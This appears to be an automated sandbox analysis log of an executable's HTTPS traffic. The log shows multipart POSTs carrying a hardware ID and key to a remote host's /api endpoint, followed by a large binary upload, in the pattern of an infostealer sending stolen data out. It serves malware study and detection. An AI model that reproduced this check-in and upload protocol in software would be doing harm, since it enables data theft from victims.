TM0we1HdiRAOiVXKNRd2a3q7mT1RPj0wDTZOO2lpl8ZB0T13Vp7rchLLO6AifxMAevL9FmI8eiZfag17QWuN2ErTPHdR0I0SCYlawDISdGox/PRSMHg3aAMGZxAJZZmTGoN7XFnRiFll7kyFU3xhA1GesVE2PmJqDWkEc0dhh9hOzTp5XNuLHgKCWsw7EWpsN/zxXTN0PilGLkITIgnB1FqBYzIa7IQPHYYTo1AINgBSnug+URV6L0EuVDkJb5P
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 79 67 59 6e 6f 49 56 41 6f 5a 63 79 44 67 57 63 6e 6b 6f 2b 66 68 65 50 33 49 78 4a 6b 74 38 43 6e 52 41 59 59 4c 61 52 63 6b 33 65 6c 6e 5a 77 31 64 6c 37 6a 69 4c 50 41 38 34 4d 33 69 31 30 6b 45 71 63 33 70 41 4a 6e 46 43 45 79 4a 37 36 62 67 70 67 54 78 38 47 6f 62 42 57 51 57 49 57 38 45 2f 45 48 56 73 50 50 7a 6a 58 7a 39 77 4f 69 78 47 59 51 70 2f 53 6d 4b 54 31 55 62 4a 4f 48 31 58 30 49 41 64 54 63 73 37 6f 46 42 58 66 33 4e 36 72 62 4d 57 43 48 4d 30 4d 30 4a 70 48 58 45 4a 43 75 72 4d 44 4b 6c 51 61 54 4b 31 36 46 6b 4b 69 52 4f 54 65 56 64 38 5a 53 6a 2b 38 46 30 78 63 44 30 6e 53 47 51 4d 64 45 31 68 6a 39 68 44 77 6a 4e 39 56 39 43 4a 45 41 53 43 58 38 38 38 56 7a 59 44 55 5a 36 78 55 53 49 2b 59 6d 6f 4e 52 53 31 57 5a 57 57 62 6b 79 71 71 Data Ascii: ygYnoIVAoZcyDgWcnko+fheP3IxJkt8CnRAYYLaRck3elnZw1dl7jiLPA84M3i10kEqc3pAJnFCEyJ76bgpgTx8GobBWQWIW8E/EHVsPPzjXz9wOixGYQp/SmKT1UbJOH1X0IAdTcs7oFBXf3N6rbMWCHM0M0JpHXEJCurMDKlQaTK16FkKiROTeVd8ZSj+8F0xcD0nSGQMdE1hj9hDwjN9V9CJEASCX888VzYDUZ6xUSI+YmoNRS1WZWWbkyqq
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 6d 50 44 77 61 45 55 4e 30 32 42 7a 67 44 55 65 71 2f 50 6c 46 6e 55 6b 4d 6d 4c 67 74 33 43 54 72 44 6b 30 54 49 50 58 64 63 30 4a 45 63 43 34 70 63 77 6a 49 54 63 47 67 36 38 66 56 52 50 33 30 32 49 30 70 74 41 33 39 41 62 49 6a 63 41 6f 39 54 47 7a 47 65 68 41 46 4e 33 52 47 4c 47 67 78 37 5a 7a 65 31 6d 54 30 6c 4d 46 4a 44 56 41 5a 6e 45 41 6c 6c 6a 5a 4d 61 67 33 74 38 56 4e 75 44 45 77 75 42 56 73 30 78 45 6e 68 67 4f 66 72 31 55 44 35 78 4f 69 4e 45 62 77 70 2b 51 32 6d 48 33 6b 48 48 50 54 41 55 74 75 68 79 54 59 4a 4c 69 32 4e 56 4f 45 73 68 2b 50 31 52 65 68 5a 52 4e 77 4d 47 5a 32 49 68 43 65 71 54 52 63 31 37 4b 42 69 65 69 42 55 4a 67 6c 50 47 4f 42 39 39 62 7a 44 77 38 56 34 6f 64 6a 6f 76 58 33 77 4d 63 6b 78 75 67 74 4e 47 78 7a 4a 32 57 Data Ascii: mPDwaEUN02BzgDUeq/PlFnUkMmLgt3CTrDk0TIPXdc0JEcC4pcwjITcGg68fVRP302I0ptA39AbIjcAo9TGzGehAFN3RGLGgx7Zze1mT0lMFJDVAZnEAlljZMag3t8VNuDEwuBVs0xEnhgOfr1UD5xOiNEbwp+Q2mH3kHHPTAUtuhyTYJLi2NVOEsh+P1RehZRNwMGZ2IhCeqTRc17KBieiBUJglPGOB99bzDw8V4odjovX3wMckxugtNGxzJ2W
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 44 37 54 69 67 65 77 38 34 4d 33 69 31 78 46 55 30 63 44 30 2b 58 43 4d 72 64 55 35 6a 6c 38 4e 56 7a 6e 73 2b 4d 72 58 6f 57 51 76 46 43 34 6c 6f 57 52 41 41 55 62 58 31 52 33 6f 6d 65 48 67 66 4e 56 6b 6f 48 6a 4c 54 75 79 6e 65 64 52 67 78 78 2b 74 79 5a 73 56 46 69 32 4e 56 4b 69 56 53 6e 70 6f 57 4b 44 35 69 61 67 30 70 44 32 6c 62 5a 49 4c 46 51 59 59 46 54 6e 33 49 69 52 34 64 67 6b 54 45 65 31 6b 51 41 46 47 31 2f 68 5a 69 50 41 4e 41 4a 67 56 6e 4f 30 42 6c 6d 73 4a 55 7a 43 74 33 47 72 62 6f 63 6a 4c 4c 4f 36 42 51 56 32 41 72 59 72 65 78 59 7a 6c 77 4e 43 39 62 66 30 46 63 58 32 69 47 77 30 58 57 4e 44 41 55 74 75 68 79 54 59 4d 54 6b 33 6c 45 4e 67 4e 52 6e 72 46 53 4b 7a 35 69 61 68 30 38 56 79 34 61 4e 64 47 42 4b 71 6f 6b 50 6a 4b 31 6d 6e Data Ascii: D7Tigew84M3i1xFU0cD0+XCMrdU5jl8NVzns+MrXoWQvFC4loWRAAUbX1R3omeHgfNVkoHjLTuynedRgxx+tyZsVFi2NVKiVSnpoWKD5iag0pD2lbZILFQYYFTn3IiR4dgkTEe1kQAFG1/hZiPANAJgVnO0BlmsJUzCt3GrbocjLLO6BQV2ArYrexYzlwNC9bf0FcX2iGw0XWNDAUtuhyTYMTk3lENgNRnrFSKz5iah08Vy4aNdGBKqokPjK1mn
2024-04-21 08:02:57 UTC	1369	IN	Data Raw: 69 7a 52 58 49 43 6b 44 74 66 4a 45 4b 44 45 72 50 6b 42 2b 43 7a 64 42 63 34 7a 66 41 6f 39 35 4d 42 62 61 69 42 55 49 67 6b 4f 45 4b 51 64 7a 5a 79 79 35 39 55 52 36 4d 48 68 6f 58 47 55 44 61 55 64 6c 7a 73 4a 55 7a 43 74 7a 58 39 6e 50 45 52 79 49 58 34 74 31 56 54 68 2b 4d 66 6e 33 57 79 38 78 4b 7a 35 4f 65 41 73 33 51 58 4f 4d 33 77 4c 2b 64 52 67 78 74 63 4d 42 54 64 30 52 69 77 34 55 64 6d 55 39 34 2b 41 62 47 6e 55 32 4b 30 46 76 43 7a 73 48 43 75 71 34 41 73 64 37 4b 42 69 4e 7a 58 46 6d 37 68 50 50 4b 6c 63 67 4b 57 71 6e 71 67 4e 70 4b 57 70 36 4a 51 55 54 4e 53 45 4a 6d 4c 73 70 71 6e 74 6d 47 6f 62 42 53 30 50 74 4f 4b 42 37 42 54 67 7a 65 4c 57 32 56 53 68 73 50 43 74 62 62 55 74 46 64 32 4f 4d 33 41 37 50 4d 48 42 64 7a 70 55 43 51 59 31 Data Ascii: izRXICkDtfJEKDErPkB+CzdBc4zfAo95MBbaiBUIgkOEKQdzZyy59UR6MHhoXGUDaUdlzsJUzCtzX9nPERyIX4t1VTh+Mfn3Wy8xKz5OeAs3QXOM3wL+dRgxtcMBTd0Riw4UdmU94+AbGnU2K0FvCzsHCuq4Asd7KBiNzXFm7hPPKlcgKWqnqgNpKWp6JQUTNSEJmLspqntmGobBS0PtOKB7BTgzeLW2VShsPCtbbUtFd2OM3A7PMHBdzpUCQY1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49707	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:02:58 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12833 Host: strollheavengwu.shop
2024-04-21 08:02:58 UTC	12833	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 39 39 37 41 38 43 34 45 36 32 41 35 42 36 39 42 35 33 43 39 41 44 45 33 30 43 46 39 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EA4997A8C4E62A5B69B53C9ADE30CF95--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:02:58 UTC	822	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:02:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bmofnmjehmkma49v9v0ifvrojv; expires=Thu, 15-Aug-2024 01:49:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2BP5ktIJiBwCkfn7tWdWg32Mq%2FTuMHMnPLWttKhSu7nuokJd5dx%2B8igApTbAbeKRCD4z%2BOec9WjO15tPkkTdwRhgadUVU%2F%2Bxw2TSSdeUiS%2F0Cekp72hmOlo%2B1RsxP%2FUvbjiIBz3%2FXQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdada1efd06e2-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:02:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:02:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49708	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:02:59 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15075 Host: strollheavengwu.shop
2024-04-21 08:02:59 UTC	15075	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 39 39 37 41 38 43 34 45 36 32 41 35 42 36 39 42 35 33 43 39 41 44 45 33 30 43 46 39 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EA4997A8C4E62A5B69B53C9ADE30CF95--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:02:59 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:02:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9gs4am62unc1cuukhdehno47ot; expires=Thu, 15-Aug-2024 01:49:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ThQMby1lpu2zUK4yAFnITkWAgxANBdmmn3WEC7iSDZTAXXT8NTAVVwsCUVlrT%2BXMB19o%2FRlGcUyvDsK35BjV8ieFsQ0WS%2FFw2FZAbZnV2ajy%2BaFTHsSXFjXJrfpUIHo%2Fzdn3D8K3uQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdadf6fba1823-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:02:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:02:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49709	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:02:59 UTC	286	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20565 Host: strollheavengwu.shop
2024-04-21 08:02:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 39 39 37 41 38 43 34 45 36 32 41 35 42 36 39 42 35 33 43 39 41 44 45 33 30 43 46 39 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EA4997A8C4E62A5B69B53C9ADE30CF95--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:02:59 UTC	5234	OUT	Data Raw: cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb Data Ascii: 6vMMZh'F3Wun 4F([:7s~X`nO
2024-04-21 08:03:00 UTC	810	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:03:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c2ovsbkf06egjrcbu56rqrhvun; expires=Thu, 15-Aug-2024 01:49:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=70jGyvsxbCTLLPrjmRAjsEpczL9EklYTO6zJmhDAwtF8l2HgkzXDFUJGEJ7jY%2BFALNG8AkHbc77jUGnR8Ov44SQb6yBbOG76VkvryNa%2F%2Fp62cjJM2D1TwREAYsuyxUYt%2FGn5AN6zBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdae51fa9b088-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:03:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:03:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:03:00 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 5440 Host: strollheavengwu.shop
2024-04-21 08:03:00 UTC	5440	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 39 39 37 41 38 43 34 45 36 32 41 35 42 36 39 42 35 33 43 39 41 44 45 33 30 43 46 39 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EA4997A8C4E62A5B69B53C9ADE30CF95--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:03:01 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m6393bsu54oa4nl4oumoimjufm; expires=Thu, 15-Aug-2024 01:49:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vgp9%2BeDpCa7vKWUU7lZr8eExtC0y1iwJLtZ3FeAb29P5bgDK2qeCCAVLWVOEwqdmvzjuqWyV%2BlBRPvCLqd8kWkybbqZU1%2Fv%2FXi%2BSL8ljFhFhxoLAIbS2L6kwiGe6neq7xFwhL5%2FaMA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdaea6c66b08d-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:03:01 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:03:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49711	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:03:01 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1389 Host: strollheavengwu.shop
2024-04-21 08:03:01 UTC	1389	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 39 39 37 41 38 43 34 45 36 32 41 35 42 36 39 42 35 33 43 39 41 44 45 33 30 43 46 39 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EA4997A8C4E62A5B69B53C9ADE30CF95--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:03:02 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:03:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=49h95nttdat3j3er4d115t1vh5; expires=Thu, 15-Aug-2024 01:49:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=etu90Vgbcb%2BJjYQOxjSpbOHTgm%2FhkSnEsX2%2B0QXBAFYexTmBaBVZVKb1OAXwf2nVvN51kjObA2%2FY2v%2BqxlPEbHnRixqGH8WVMDi4anTZUlmJyT5lwf4atYVyLDTh3y5LX8lYAKiHrg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877bdaeecbdd12d7-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:03:02 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 31 2e 31 38 31 2e 35 37 2e 35 32 0d 0a Data Ascii: fok 81.181.57.52
2024-04-21 08:03:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49712	104.21.15.198	443	2504	C:\Users\user\Desktop\qrLdMv1QXG.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:03:02 UTC	287	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 573970 Host: strollheavengwu.shop
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 41 34 39 39 37 41 38 43 34 45 36 32 41 35 42 36 39 42 35 33 43 39 41 44 45 33 30 43 46 39 35 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 36 4d 6b 30 4d 2d 2d 6b 65 79 0d 0a Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"EA4997A8C4E62A5B69B53C9ADE30CF95--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"P6Mk0M--key
2024-04-21 08:03:02 UTC	15331	OUT	Data Raw: d2 d0 68 78 6a 05 80 00 62 27 88 71 87 52 25 80 d2 24 94 dd 04 67 9d 70 a3 bb 09 83 0e 55 2c cc c7 c6 b2 ec d0 11 59 62 1b fb d8 9e 3b c0 63 bf 05 3b 34 88 a8 ec ec e9 c1 f6 9b f1 5b ff ff 0f a2 53 0e 00 6a 49 27 98 e7 03 89 66 e4 02 26 60 f4 f3 c1 fc 14 a5 4b 59 91 51 e5 56 4b 7d 59 15 fc 10 f7 1f a2 c9 63 0b 3a 97 68 ec d0 65 0b d1 0f c9 20 de c2 31 2d cb d9 93 0f b4 28 ae 05 99 a1 e3 77 3c 73 2e 87 14 d4 60 f2 0e 5e a9 16 25 60 fb 43 46 64 d2 27 04 b7 f6 c8 50 5d d8 50 dc 68 6d ca f3 95 29 35 ee b4 76 32 b9 c6 52 5e 73 18 96 eb 2b 05 b6 ee dc 99 d2 32 4c f1 39 cc 82 69 26 a7 25 d0 4d 91 d9 e8 22 ca 26 ac 2b d6 f5 59 98 4d 6c 38 29 91 49 f4 6c 24 d1 59 d3 9a cd 5b 05 01 7b 28 3a e8 60 01 30 f3 1d bd b4 1d 68 1a a4 96 c2 ba 61 58 84 22 37 c7 45 a7 6b a4 Data Ascii: hxjb'qR%$gpU,Yb;c;4[SjI'f&`KYQVK}Yc:he 1-(w<s.`^%`CFd'P]Phm)5v2R^s+2L9i&%M"&+YMl8)Il$Y[{(:`0haX"7Ek
